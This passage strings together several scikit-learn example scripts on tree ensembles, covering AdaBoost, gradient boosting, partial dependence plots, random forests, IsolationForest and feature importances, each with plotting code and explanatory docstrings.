p1 = ax.bar(ind, np.hstack(([class1_1[:-1], [0]])), width, color='green')
p2 = ax.bar(ind + width, np.hstack(([class2_1[:-1], [0]])), width, color='lightgreen')

# bars for VotingClassifier
p3 = ax.bar(ind, [0, 0, 0, class1_1[-1]], width, color='blue')
p4 = ax.bar(ind + width, [0, 0, 0, class2_1[-1]], width, color='steelblue')

# plot annotations
plt.axvline(2.8, color='k', linestyle='dashed')
ax.set_xticks(ind + width)
ax.set_xticklabels(['LogisticRegression\nweight 1',
                    'GaussianNB\nweight 1',
                    'RandomForestClassifier\nweight 5',
                    'VotingClassifier\n(average probabilities)'],
                   rotation=40,
                   ha='right')
plt.ylim([0, 1])
plt.title('Class probabilities for sample 1 by different classifiers')
plt.legend([p1[0], p2[0]], ['class 1', 'class 2'], loc='upper left')
plt.show()






"""
=====================================
Multi-class AdaBoosted Decision Trees
=====================================

This example reproduces Figure 1 of Zhu et al [1] and shows how boosting can
improve prediction accuracy on a multi-class problem. The classification
dataset is constructed by taking a ten-dimensional standard normal distribution
and defining three classes separated by nested concentric ten-dimensional
spheres such that roughly equal numbers of samples are in each class (quantiles
of the :math:`\chi^2` distribution).

The performance of the SAMME and SAMME.R [1] algorithms are compared. SAMME.R
uses the probability estimates to update the additive model, while SAMME  uses
the classifications only. As the example illustrates, the SAMME.R algorithm
typically converges faster than SAMME, achieving a lower test error with fewer
boosting iterations. The error of each algorithm on the test set after each
boosting iteration is shown on the left, the classification error on the test
set of each tree is shown in the middle, and the boost weight of each tree is
shown on the right. All trees have a weight of one in the SAMME.R algorithm and
therefore are not shown.

.. [1] J. Zhu, H. Zou, S. Rosset, T. Hastie, "Multi-class AdaBoost", 2009.

"""
print(__doc__)

# Author: Noel Dawe <noel.dawe@gmail.com>
#
# License: BSD 3 clause

from sklearn.externals.six.moves import zip

import matplotlib.pyplot as plt

from sklearn.datasets import make_gaussian_quantiles
from sklearn.ensemble import AdaBoostClassifier
from sklearn.metrics import accuracy_score
from sklearn.tree import DecisionTreeClassifier


X, y = make_gaussian_quantiles(n_samples=13000, n_features=10,
                               n_classes=3, random_state=1)

n_split = 3000

X_train, X_test = X[:n_split], X[n_split:]
y_train, y_test = y[:n_split], y[n_split:]

bdt_real = AdaBoostClassifier(
    DecisionTreeClassifier(max_depth=2),
    n_estimators=600,
    learning_rate=1)

bdt_discrete = AdaBoostClassifier(
    DecisionTreeClassifier(max_depth=2),
    n_estimators=600,
    learning_rate=1.5,
    algorithm="SAMME")

bdt_real.fit(X_train, y_train)
bdt_discrete.fit(X_train, y_train)

real_test_errors = []
discrete_test_errors = []

for real_test_predict, discrete_train_predict in zip(
        bdt_real.staged_predict(X_test), bdt_discrete.staged_predict(X_test)):
    real_test_errors.append(
        1. - accuracy_score(real_test_predict, y_test))
    discrete_test_errors.append(
        1. - accuracy_score(discrete_train_predict, y_test))

n_trees_discrete = len(bdt_discrete)
n_trees_real = len(bdt_real)

# Boosting might terminate early, but the following arrays are always
# n_estimators long. We crop them to the actual number of trees here:
discrete_estimator_errors = bdt_discrete.estimator_errors_[:n_trees_discrete]
real_estimator_errors = bdt_real.estimator_errors_[:n_trees_real]
discrete_estimator_weights = bdt_discrete.estimator_weights_[:n_trees_discrete]

plt.figure(figsize=(15, 5))

plt.subplot(131)
plt.plot(range(1, n_trees_discrete + 1),
         discrete_test_errors, c='black', label='SAMME')
plt.plot(range(1, n_trees_real + 1),
         real_test_errors, c='black',
         linestyle='dashed', label='SAMME.R')
plt.legend()
plt.ylim(0.18, 0.62)
plt.ylabel('Test Error')
plt.xlabel('Number of Trees')

plt.subplot(132)
plt.plot(range(1, n_trees_discrete + 1), discrete_estimator_errors,
         "b", label='SAMME', alpha=.5)
plt.plot(range(1, n_trees_real + 1), real_estimator_errors,
         "r", label='SAMME.R', alpha=.5)
plt.legend()
plt.ylabel('Error')
plt.xlabel('Number of Trees')
plt.ylim((.2,
         max(real_estimator_errors.max(),
             discrete_estimator_errors.max()) * 1.2))
plt.xlim((-20, len(bdt_discrete) + 20))

plt.subplot(133)
plt.plot(range(1, n_trees_discrete + 1), discrete_estimator_weights,
         "b", label='SAMME')
plt.legend()
plt.ylabel('Weight')
plt.xlabel('Number of Trees')
plt.ylim((0, discrete_estimator_weights.max() * 1.2))
plt.xlim((-20, n_trees_discrete + 20))

# prevent overlapping y-axis labels
plt.subplots_adjust(wspace=0.25)
plt.show()






"""
============================
Gradient Boosting regression
============================

Demonstrate Gradient Boosting on the Boston housing dataset.

This example fits a Gradient Boosting model with least squares loss and
500 regression trees of depth 4.
"""
print(__doc__)

# Author: Peter Prettenhofer <peter.prettenhofer@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import ensemble
from sklearn import datasets
from sklearn.utils import shuffle
from sklearn.metrics import mean_squared_error

###############################################################################
# Load data
boston = datasets.load_boston()
X, y = shuffle(boston.data, boston.target, random_state=13)
X = X.astype(np.float32)
offset = int(X.shape[0] * 0.9)
X_train, y_train = X[:offset], y[:offset]
X_test, y_test = X[offset:], y[offset:]

###############################################################################
# Fit regression model
params = {'n_estimators': 500, 'max_depth': 4, 'min_samples_split': 2,
          'learning_rate': 0.01, 'loss': 'ls'}
clf = ensemble.GradientBoostingRegressor(**params)

clf.fit(X_train, y_train)
mse = mean_squared_error(y_test, clf.predict(X_test))
print("MSE: %.4f" % mse)

###############################################################################
# Plot training deviance

# compute test set deviance
test_score = np.zeros((params['n_estimators'],), dtype=np.float64)

for i, y_pred in enumerate(clf.staged_predict(X_test)):
    test_score[i] = clf.loss_(y_test, y_pred)

plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
plt.title('Deviance')
plt.plot(np.arange(params['n_estimators']) + 1, clf.train_score_, 'b-',
         label='Training Set Deviance')
plt.plot(np.arange(params['n_estimators']) + 1, test_score, 'r-',
         label='Test Set Deviance')
plt.legend(loc='upper right')
plt.xlabel('Boosting Iterations')
plt.ylabel('Deviance')

###############################################################################
# Plot feature importance
feature_importance = clf.feature_importances_
# make importances relative to max importance
feature_importance = 100.0 * (feature_importance / feature_importance.max())
sorted_idx = np.argsort(feature_importance)
pos = np.arange(sorted_idx.shape[0]) + .5
plt.subplot(1, 2, 2)
plt.barh(pos, feature_importance[sorted_idx], align='center')
plt.yticks(pos, boston.feature_names[sorted_idx])
plt.xlabel('Relative Importance')
plt.title('Variable Importance')
plt.show()






"""
==================
Two-class AdaBoost
==================

This example fits an AdaBoosted decision stump on a non-linearly separable
classification dataset composed of two "Gaussian quantiles" clusters
(see :func:`sklearn.datasets.make_gaussian_quantiles`) and plots the decision
boundary and decision scores. The distributions of decision scores are shown
separately for samples of class A and B. The predicted class label for each
sample is determined by the sign of the decision score. Samples with decision
scores greater than zero are classified as B, and are otherwise classified
as A. The magnitude of a decision score determines the degree of likeness with
the predicted class label. Additionally, a new dataset could be constructed
containing a desired purity of class B, for example, by only selecting samples
with a decision score above some value.

"""
print(__doc__)

# Author: Noel Dawe <noel.dawe@gmail.com>
#
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn.ensemble import AdaBoostClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.datasets import make_gaussian_quantiles


# Construct dataset
X1, y1 = make_gaussian_quantiles(cov=2.,
                                 n_samples=200, n_features=2,
                                 n_classes=2, random_state=1)
X2, y2 = make_gaussian_quantiles(mean=(3, 3), cov=1.5,
                                 n_samples=300, n_features=2,
                                 n_classes=2, random_state=1)
X = np.concatenate((X1, X2))
y = np.concatenate((y1, - y2 + 1))

# Create and fit an AdaBoosted decision tree
bdt = AdaBoostClassifier(DecisionTreeClassifier(max_depth=1),
                         algorithm="SAMME",
                         n_estimators=200)

bdt.fit(X, y)

plot_colors = "br"
plot_step = 0.02
class_names = "AB"

plt.figure(figsize=(10, 5))

# Plot the decision boundaries
plt.subplot(121)
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
xx, yy = np.meshgrid(np.arange(x_min, x_max, plot_step),
                     np.arange(y_min, y_max, plot_step))

Z = bdt.predict(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)
cs = plt.contourf(xx, yy, Z, cmap=plt.cm.Paired)
plt.axis("tight")

# Plot the training points
for i, n, c in zip(range(2), class_names, plot_colors):
    idx = np.where(y == i)
    plt.scatter(X[idx, 0], X[idx, 1],
                c=c, cmap=plt.cm.Paired,
                label="Class %s" % n)
plt.xlim(x_min, x_max)
plt.ylim(y_min, y_max)
plt.legend(loc='upper right')
plt.xlabel('x')
plt.ylabel('y')
plt.title('Decision Boundary')

# Plot the two-class decision scores
twoclass_output = bdt.decision_function(X)
plot_range = (twoclass_output.min(), twoclass_output.max())
plt.subplot(122)
for i, n, c in zip(range(2), class_names, plot_colors):
    plt.hist(twoclass_output[y == i],
             bins=10,
             range=plot_range,
             facecolor=c,
             label='Class %s' % n,
             alpha=.5)
x1, x2, y1, y2 = plt.axis()
plt.axis((x1, x2, y1, y2 * 1.2))
plt.legend(loc='upper right')
plt.ylabel('Samples')
plt.xlabel('Score')
plt.title('Decision Scores')

plt.tight_layout()
plt.subplots_adjust(wspace=0.35)
plt.show()






"""
========================
Partial Dependence Plots
========================

Partial dependence plots show the dependence between the target function [2]_
and a set of 'target' features, marginalizing over the
values of all other features (the complement features). Due to the limits
of human perception the size of the target feature set must be small (usually,
one or two) thus the target features are usually chosen among the most
important features
(see :attr:`~sklearn.ensemble.GradientBoostingRegressor.feature_importances_`).

This example shows how to obtain partial dependence plots from a
:class:`~sklearn.ensemble.GradientBoostingRegressor` trained on the California
housing dataset. The example is taken from [1]_.

The plot shows four one-way and one two-way partial dependence plots.
The target variables for the one-way PDP are:
median income (`MedInc`), avg. occupants per household (`AvgOccup`),
median house age (`HouseAge`), and avg. rooms per household (`AveRooms`).

We can clearly see that the median house price shows a linear relationship
with the median income (top left) and that the house price drops when the
avg. occupants per household increases (top middle).
The top right plot shows that the house age in a district does not have
a strong influence on the (median) house price; so does the average rooms
per household.
The tick marks on the x-axis represent the deciles of the feature values
in the training data.

Partial dependence plots with two target features enable us to visualize
interactions among them. The two-way partial dependence plot shows the
dependence of median house price on joint values of house age and avg.
occupants per household. We can clearly see an interaction between the
two features:
For an avg. occupancy greater than two, the house price is nearly independent
of the house age, whereas for values less than two there is a strong dependence
on age.

.. [1] T. Hastie, R. Tibshirani and J. Friedman,
    "Elements of Statistical Learning Ed. 2", Springer, 2009.

.. [2] For classification you can think of it as the regression score before
       the link function.
"""
from __future__ import print_function
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from mpl_toolkits.mplot3d import Axes3D

from sklearn.model_selection import train_test_split
from sklearn.ensemble import GradientBoostingRegressor
from sklearn.ensemble.partial_dependence import plot_partial_dependence
from sklearn.ensemble.partial_dependence import partial_dependence
from sklearn.datasets.california_housing import fetch_california_housing


def main():
    cal_housing = fetch_california_housing()

    # split 80/20 train-test
    X_train, X_test, y_train, y_test = train_test_split(cal_housing.data,
                                                        cal_housing.target,
                                                        test_size=0.2,
                                                        random_state=1)
    names = cal_housing.feature_names

    print("Training GBRT...")
    clf = GradientBoostingRegressor(n_estimators=100, max_depth=4,
                                    learning_rate=0.1, loss='huber',
                                    random_state=1)
    clf.fit(X_train, y_train)
    print(" done.")

    print('Convenience plot with ``partial_dependence_plots``')

    features = [0, 5, 1, 2, (5, 1)]
    fig, axs = plot_partial_dependence(clf, X_train, features,
                                       feature_names=names,
                                       n_jobs=3, grid_resolution=50)
    fig.suptitle('Partial dependence of house value on nonlocation features\n'
                 'for the California housing dataset')
    plt.subplots_adjust(top=0.9)  # tight_layout causes overlap with suptitle

    print('Custom 3d plot via ``partial_dependence``')
    fig = plt.figure()

    target_feature = (1, 5)
    pdp, axes = partial_dependence(clf, target_feature,
                                   X=X_train, grid_resolution=50)
    XX, YY = np.meshgrid(axes[0], axes[1])
    Z = pdp[0].reshape(list(map(np.size, axes))).T
    ax = Axes3D(fig)
    surf = ax.plot_surface(XX, YY, Z, rstride=1, cstride=1, cmap=plt.cm.BuPu)
    ax.set_xlabel(names[target_feature[0]])
    ax.set_ylabel(names[target_feature[1]])
    ax.set_zlabel('Partial dependence')
    #  pretty init view
    ax.view_init(elev=22, azim=122)
    plt.colorbar(surf)
    plt.suptitle('Partial dependence of house value on median age and '
                 'average occupancy')
    plt.subplots_adjust(top=0.9)

    plt.show()


# Needed on Windows because plot_partial_dependence uses multiprocessing
if __name__ == '__main__':
    main()






"""
=====================================================
Prediction Intervals for Gradient Boosting Regression
=====================================================

This example shows how quantile regression can be used
to create prediction intervals.
"""

import numpy as np
import matplotlib.pyplot as plt

from sklearn.ensemble import GradientBoostingRegressor

np.random.seed(1)


def f(x):
    """The function to predict."""
    return x * np.sin(x)

#----------------------------------------------------------------------
#  First the noiseless case
X = np.atleast_2d(np.random.uniform(0, 10.0, size=100)).T
X = X.astype(np.float32)

# Observations
y = f(X).ravel()

dy = 1.5 + 1.0 * np.random.random(y.shape)
noise = np.random.normal(0, dy)
y += noise
y = y.astype(np.float32)

# Mesh the input space for evaluations of the real function, the prediction and
# its MSE
xx = np.atleast_2d(np.linspace(0, 10, 1000)).T
xx = xx.astype(np.float32)

alpha = 0.95

clf = GradientBoostingRegressor(loss='quantile', alpha=alpha,
                                n_estimators=250, max_depth=3,
                                learning_rate=.1, min_samples_leaf=9,
                                min_samples_split=9)

clf.fit(X, y)

# Make the prediction on the meshed x-axis
y_upper = clf.predict(xx)

clf.set_params(alpha=1.0 - alpha)
clf.fit(X, y)

# Make the prediction on the meshed x-axis
y_lower = clf.predict(xx)

clf.set_params(loss='ls')
clf.fit(X, y)

# Make the prediction on the meshed x-axis
y_pred = clf.predict(xx)

# Plot the function, the prediction and the 90% confidence interval based on
# the MSE
fig = plt.figure()
plt.plot(xx, f(xx), 'g:', label=u'$f(x) = x\,\sin(x)$')
plt.plot(X, y, 'b.', markersize=10, label=u'Observations')
plt.plot(xx, y_pred, 'r-', label=u'Prediction')
plt.plot(xx, y_upper, 'k-')
plt.plot(xx, y_lower, 'k-')
plt.fill(np.concatenate([xx, xx[::-1]]),
         np.concatenate([y_upper, y_lower[::-1]]),
         alpha=.5, fc='b', ec='None', label='90% prediction interval')
plt.xlabel('$x$')
plt.ylabel('$f(x)$')
plt.ylim(-10, 20)
plt.legend(loc='upper left')
plt.show()






"""
=========================================================
Hashing feature transformation using Totally Random Trees
=========================================================

RandomTreesEmbedding provides a way to map data to a
very high-dimensional, sparse representation, which might
be beneficial for classification.
The mapping is completely unsupervised and very efficient.

This example visualizes the partitions given by several
trees and shows how the transformation can also be used for
non-linear dimensionality reduction or non-linear classification.

Points that are neighboring often share the same leaf of a tree and therefore
share large parts of their hashed representation. This allows to
separate two concentric circles simply based on the principal components of the
transformed data.

In high-dimensional spaces, linear classifiers often achieve
excellent accuracy. For sparse binary data, BernoulliNB
is particularly well-suited. The bottom row compares the
decision boundary obtained by BernoulliNB in the transformed
space with an ExtraTreesClassifier forests learned on the
original data.
"""
import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_circles
from sklearn.ensemble import RandomTreesEmbedding, ExtraTreesClassifier
from sklearn.decomposition import TruncatedSVD
from sklearn.naive_bayes import BernoulliNB

# make a synthetic dataset
X, y = make_circles(factor=0.5, random_state=0, noise=0.05)

# use RandomTreesEmbedding to transform data
hasher = RandomTreesEmbedding(n_estimators=10, random_state=0, max_depth=3)
X_transformed = hasher.fit_transform(X)

# Visualize result using PCA
pca = TruncatedSVD(n_components=2)
X_reduced = pca.fit_transform(X_transformed)

# Learn a Naive Bayes classifier on the transformed data
nb = BernoulliNB()
nb.fit(X_transformed, y)


# Learn an ExtraTreesClassifier for comparison
trees = ExtraTreesClassifier(max_depth=3, n_estimators=10, random_state=0)
trees.fit(X, y)


# scatter plot of original and reduced data
fig = plt.figure(figsize=(9, 8))

ax = plt.subplot(221)
ax.scatter(X[:, 0], X[:, 1], c=y, s=50)
ax.set_title("Original Data (2d)")
ax.set_xticks(())
ax.set_yticks(())

ax = plt.subplot(222)
ax.scatter(X_reduced[:, 0], X_reduced[:, 1], c=y, s=50)
ax.set_title("PCA reduction (2d) of transformed data (%dd)" %
             X_transformed.shape[1])
ax.set_xticks(())
ax.set_yticks(())

# Plot the decision in original space. For that, we will assign a color to each
# point in the mesh [x_min, x_max]x[y_min, y_max].
h = .01
x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5
y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5
xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))

# transform grid using RandomTreesEmbedding
transformed_grid = hasher.transform(np.c_[xx.ravel(), yy.ravel()])
y_grid_pred = nb.predict_proba(transformed_grid)[:, 1]

ax = plt.subplot(223)
ax.set_title("Naive Bayes on Transformed data")
ax.pcolormesh(xx, yy, y_grid_pred.reshape(xx.shape))
ax.scatter(X[:, 0], X[:, 1], c=y, s=50)
ax.set_ylim(-1.4, 1.4)
ax.set_xlim(-1.4, 1.4)
ax.set_xticks(())
ax.set_yticks(())

# transform grid using ExtraTreesClassifier
y_grid_pred = trees.predict_proba(np.c_[xx.ravel(), yy.ravel()])[:, 1]

ax = plt.subplot(224)
ax.set_title("ExtraTrees predictions")
ax.pcolormesh(xx, yy, y_grid_pred.reshape(xx.shape))
ax.scatter(X[:, 0], X[:, 1], c=y, s=50)
ax.set_ylim(-1.4, 1.4)
ax.set_xlim(-1.4, 1.4)
ax.set_xticks(())
ax.set_yticks(())

plt.tight_layout()
plt.show()






"""
====================================================================
Plot the decision surfaces of ensembles of trees on the iris dataset
====================================================================

Plot the decision surfaces of forests of randomized trees trained on pairs of
features of the iris dataset.

This plot compares the decision surfaces learned by a decision tree classifier
(first column), by a random forest classifier (second column), by an extra-
trees classifier (third column) and by an AdaBoost classifier (fourth column).

In the first row, the classifiers are built using the sepal width and the sepal
length features only, on the second row using the petal length and sepal length
only, and on the third row using the petal width and the petal length only.

In descending order of quality, when trained (outside of this example) on all
4 features using 30 estimators and scored using 10 fold cross validation, we see::

    ExtraTreesClassifier()  # 0.95 score
    RandomForestClassifier()  # 0.94 score
    AdaBoost(DecisionTree(max_depth=3))  # 0.94 score
    DecisionTree(max_depth=None)  # 0.94 score

Increasing `max_depth` for AdaBoost lowers the standard deviation of the scores (but
the average score does not improve).

See the console's output for further details about each model.

In this example you might try to:

1) vary the ``max_depth`` for the ``DecisionTreeClassifier`` and
   ``AdaBoostClassifier``, perhaps try ``max_depth=3`` for the
   ``DecisionTreeClassifier`` or ``max_depth=None`` for ``AdaBoostClassifier``
2) vary ``n_estimators``

It is worth noting that RandomForests and ExtraTrees can be fitted in parallel
on many cores as each tree is built independently of the others. AdaBoost's
samples are built sequentially and so do not use multiple cores.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn import clone
from sklearn.datasets import load_iris
from sklearn.ensemble import (RandomForestClassifier, ExtraTreesClassifier,
                              AdaBoostClassifier)
from sklearn.externals.six.moves import xrange
from sklearn.tree import DecisionTreeClassifier

# Parameters
n_classes = 3
n_estimators = 30
plot_colors = "ryb"
cmap = plt.cm.RdYlBu
plot_step = 0.02  # fine step width for decision surface contours
plot_step_coarser = 0.5  # step widths for coarse classifier guesses
RANDOM_SEED = 13  # fix the seed on each iteration

# Load data
iris = load_iris()

plot_idx = 1

models = [DecisionTreeClassifier(max_depth=None),
          RandomForestClassifier(n_estimators=n_estimators),
          ExtraTreesClassifier(n_estimators=n_estimators),
          AdaBoostClassifier(DecisionTreeClassifier(max_depth=3),
                             n_estimators=n_estimators)]

for pair in ([0, 1], [0, 2], [2, 3]):
    for model in models:
        # We only take the two corresponding features
        X = iris.data[:, pair]
        y = iris.target

        # Shuffle
        idx = np.arange(X.shape[0])
        np.random.seed(RANDOM_SEED)
        np.random.shuffle(idx)
        X = X[idx]
        y = y[idx]

        # Standardize
        mean = X.mean(axis=0)
        std = X.std(axis=0)
        X = (X - mean) / std

        # Train
        clf = clone(model)
        clf = model.fit(X, y)

        scores = clf.score(X, y)
        # Create a title for each column and the console by using str() and
        # slicing away useless parts of the string
        model_title = str(type(model)).split(".")[-1][:-2][:-len("Classifier")]
        model_details = model_title
        if hasattr(model, "estimators_"):
            model_details += " with {} estimators".format(len(model.estimators_))
        print( model_details + " with features", pair, "has a score of", scores )

        plt.subplot(3, 4, plot_idx)
        if plot_idx <= len(models):
            # Add a title at the top of each column
            plt.title(model_title)

        # Now plot the decision boundary using a fine mesh as input to a
        # filled contour plot
        x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1
        y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1
        xx, yy = np.meshgrid(np.arange(x_min, x_max, plot_step),
                             np.arange(y_min, y_max, plot_step))

        # Plot either a single DecisionTreeClassifier or alpha blend the
        # decision surfaces of the ensemble of classifiers
        if isinstance(model, DecisionTreeClassifier):
            Z = model.predict(np.c_[xx.ravel(), yy.ravel()])
            Z = Z.reshape(xx.shape)
            cs = plt.contourf(xx, yy, Z, cmap=cmap)
        else:
            # Choose alpha blend level with respect to the number of estimators
            # that are in use (noting that AdaBoost can use fewer estimators
            # than its maximum if it achieves a good enough fit early on)
            estimator_alpha = 1.0 / len(model.estimators_)
            for tree in model.estimators_:
                Z = tree.predict(np.c_[xx.ravel(), yy.ravel()])
                Z = Z.reshape(xx.shape)
                cs = plt.contourf(xx, yy, Z, alpha=estimator_alpha, cmap=cmap)

        # Build a coarser grid to plot a set of ensemble classifications
        # to show how these are different to what we see in the decision
        # surfaces. These points are regularly space and do not have a black outline
        xx_coarser, yy_coarser = np.meshgrid(np.arange(x_min, x_max, plot_step_coarser),
                                             np.arange(y_min, y_max, plot_step_coarser))
        Z_points_coarser = model.predict(np.c_[xx_coarser.ravel(), yy_coarser.ravel()]).reshape(xx_coarser.shape)
        cs_points = plt.scatter(xx_coarser, yy_coarser, s=15, c=Z_points_coarser, cmap=cmap, edgecolors="none")

        # Plot the training points, these are clustered together and have a
        # black outline
        for i, c in zip(xrange(n_classes), plot_colors):
            idx = np.where(y == i)
            plt.scatter(X[idx, 0], X[idx, 1], c=c, label=iris.target_names[i],
                        cmap=cmap)

        plot_idx += 1  # move on to the next plot in sequence

plt.suptitle("Classifiers on feature subsets of the Iris dataset")
plt.axis("tight")

plt.show()






"""
==========================================
IsolationForest example
==========================================

An example using IsolationForest for anomaly detection.

The IsolationForest 'isolates' observations by randomly selecting a feature
and then randomly selecting a split value between the maximum and minimum
values of the selected feature.

Since recursive partitioning can be represented by a tree structure, the
number of splittings required to isolate a sample is equivalent to the path
length from the root node to the terminating node.

This path length, averaged over a forest of such random trees, is a measure
of abnormality and our decision function.

Random partitioning produces noticeable shorter paths for anomalies.
Hence, when a forest of random trees collectively produce shorter path lengths
for particular samples, they are highly likely to be anomalies.

.. [1] Liu, Fei Tony, Ting, Kai Ming and Zhou, Zhi-Hua. "Isolation forest."
    Data Mining, 2008. ICDM'08. Eighth IEEE International Conference on.

"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.ensemble import IsolationForest

rng = np.random.RandomState(42)

# Generate train data
X = 0.3 * rng.randn(100, 2)
X_train = np.r_[X + 2, X - 2]
# Generate some regular novel observations
X = 0.3 * rng.randn(20, 2)
X_test = np.r_[X + 2, X - 2]
# Generate some abnormal novel observations
X_outliers = rng.uniform(low=-4, high=4, size=(20, 2))

# fit the model
clf = IsolationForest(max_samples=100, random_state=rng)
clf.fit(X_train)
y_pred_train = clf.predict(X_train)
y_pred_test = clf.predict(X_test)
y_pred_outliers = clf.predict(X_outliers)

# plot the line, the samples, and the nearest vectors to the plane
xx, yy = np.meshgrid(np.linspace(-5, 5, 50), np.linspace(-5, 5, 50))
Z = clf.decision_function(np.c_[xx.ravel(), yy.ravel()])
Z = Z.reshape(xx.shape)

plt.title("IsolationForest")
plt.contourf(xx, yy, Z, cmap=plt.cm.Blues_r)

b1 = plt.scatter(X_train[:, 0], X_train[:, 1], c='white')
b2 = plt.scatter(X_test[:, 0], X_test[:, 1], c='green')
c = plt.scatter(X_outliers[:, 0], X_outliers[:, 1], c='red')
plt.axis('tight')
plt.xlim((-5, 5))
plt.ylim((-5, 5))
plt.legend([b1, b2, c],
           ["training observations",
            "new regular observations", "new abnormal observations"],
           loc="upper left")
plt.show()






"""
=============================
OOB Errors for Random Forests
=============================

The ``RandomForestClassifier`` is trained using *bootstrap aggregation*, where
each new tree is fit from a bootstrap sample of the training observations
:math:`z_i = (x_i, y_i)`. The *out-of-bag* (OOB) error is the average error for
each :math:`z_i` calculated using predictions from the trees that do not
contain :math:`z_i` in their respective bootstrap sample. This allows the
``RandomForestClassifier`` to be fit and validated whilst being trained [1].

The example below demonstrates how the OOB error can be measured at the
addition of each new tree during training. The resulting plot allows a
practitioner to approximate a suitable value of ``n_estimators`` at which the
error stabilizes.

.. [1] T. Hastie, R. Tibshirani and J. Friedman, "Elements of Statistical
       Learning Ed. 2", p592-593, Springer, 2009.

"""
import matplotlib.pyplot as plt

from collections import OrderedDict
from sklearn.datasets import make_classification
from sklearn.ensemble import RandomForestClassifier, ExtraTreesClassifier

# Author: Kian Ho <hui.kian.ho@gmail.com>
#         Gilles Louppe <g.louppe@gmail.com>
#         Andreas Mueller <amueller@ais.uni-bonn.de>
#
# License: BSD 3 Clause

print(__doc__)

RANDOM_STATE = 123

# Generate a binary classification dataset.
X, y = make_classification(n_samples=500, n_features=25,
                           n_clusters_per_class=1, n_informative=15,
                           random_state=RANDOM_STATE)

# NOTE: Setting the `warm_start` construction parameter to `True` disables
# support for parallelized ensembles but is necessary for tracking the OOB
# error trajectory during training.
ensemble_clfs = [
    ("RandomForestClassifier, max_features='sqrt'",
        RandomForestClassifier(warm_start=True, oob_score=True,
                               max_features="sqrt",
                               random_state=RANDOM_STATE)),
    ("RandomForestClassifier, max_features='log2'",
        RandomForestClassifier(warm_start=True, max_features='log2',
                               oob_score=True,
                               random_state=RANDOM_STATE)),
    ("RandomForestClassifier, max_features=None",
        RandomForestClassifier(warm_start=True, max_features=None,
                               oob_score=True,
                               random_state=RANDOM_STATE))
]

# Map a classifier name to a list of (<n_estimators>, <error rate>) pairs.
error_rate = OrderedDict((label, []) for label, _ in ensemble_clfs)

# Range of `n_estimators` values to explore.
min_estimators = 15
max_estimators = 175

for label, clf in ensemble_clfs:
    for i in range(min_estimators, max_estimators + 1):
        clf.set_params(n_estimators=i)
        clf.fit(X, y)

        # Record the OOB error for each `n_estimators=i` setting.
        oob_error = 1 - clf.oob_score_
        error_rate[label].append((i, oob_error))

# Generate the "OOB error rate" vs. "n_estimators" plot.
for label, clf_err in error_rate.items():
    xs, ys = zip(*clf_err)
    plt.plot(xs, ys, label=label)

plt.xlim(min_estimators, max_estimators)
plt.xlabel("n_estimators")
plt.ylabel("OOB error rate")
plt.legend(loc="upper right")
plt.show()






"""
======================================
Decision Tree Regression with AdaBoost
======================================

A decision tree is boosted using the AdaBoost.R2 [1] algorithm on a 1D
sinusoidal dataset with a small amount of Gaussian noise.
299 boosts (300 decision trees) is compared with a single decision tree
regressor. As the number of boosts is increased the regressor can fit more
detail.

.. [1] H. Drucker, "Improving Regressors using Boosting Techniques", 1997.

"""
print(__doc__)

# Author: Noel Dawe <noel.dawe@gmail.com>
#
# License: BSD 3 clause

# importing necessary libraries
import numpy as np
import matplotlib.pyplot as plt
from sklearn.tree import DecisionTreeRegressor
from sklearn.ensemble import AdaBoostRegressor

# Create the dataset
rng = np.random.RandomState(1)
X = np.linspace(0, 6, 100)[:, np.newaxis]
y = np.sin(X).ravel() + np.sin(6 * X).ravel() + rng.normal(0, 0.1, X.shape[0])

# Fit regression model
regr_1 = DecisionTreeRegressor(max_depth=4)

regr_2 = AdaBoostRegressor(DecisionTreeRegressor(max_depth=4),
                          n_estimators=300, random_state=rng)

regr_1.fit(X, y)
regr_2.fit(X, y)

# Predict
y_1 = regr_1.predict(X)
y_2 = regr_2.predict(X)

# Plot the results
plt.figure()
plt.scatter(X, y, c="k", label="training samples")
plt.plot(X, y_1, c="g", label="n_estimators=1", linewidth=2)
plt.plot(X, y_2, c="r", label="n_estimators=300", linewidth=2)
plt.xlabel("data")
plt.ylabel("target")
plt.title("Boosted Decision Tree Regression")
plt.legend()
plt.show()






"""
=================================================
Pixel importances with a parallel forest of trees
=================================================

This example shows the use of forests of trees to evaluate the importance
of the pixels in an image classification task (faces). The hotter the pixel,
the more important.

The code below also illustrates how the construction and the computation
of the predictions can be parallelized within multiple jobs.
"""
print(__doc__)

from time import time
import matplotlib.pyplot as plt

from sklearn.datasets import fetch_olivetti_faces
from sklearn.ensemble import ExtraTreesClassifier

# Number of cores to use to perform parallel fitting of the forest model
n_jobs = 1

# Load the faces dataset
data = fetch_olivetti_faces()
X = data.images.reshape((len(data.images), -1))
y = data.target

mask = y < 5  # Limit to 5 classes
X = X[mask]
y = y[mask]

# Build a forest and compute the pixel importances
print("Fitting ExtraTreesClassifier on faces data with %d cores..." % n_jobs)
t0 = time()
forest = ExtraTreesClassifier(n_estimators=1000,
                              max_features=128,
                              n_jobs=n_jobs,
                              random_state=0)

forest.fit(X, y)
print("done in %0.3fs" % (time() - t0))
importances = forest.feature_importances_
importances = importances.reshape(data.images[0].shape)

# Plot pixel importances
plt.matshow(importances, cmap=plt.cm.hot)
plt.title("Pixel importances with forests of trees")
plt.show()






"""
===============================================
Feature transformations with ensembles of trees
===============================================

Transform your features into a higher dimensional, sparse space. Then
train a linear model on these features.

First fit an ensemble of trees (totally random trees, a random
forest, or gradient boosted trees) on the training set. Then each leaf
of each tree in the ensemble is assigned a fixed arbitrary feature
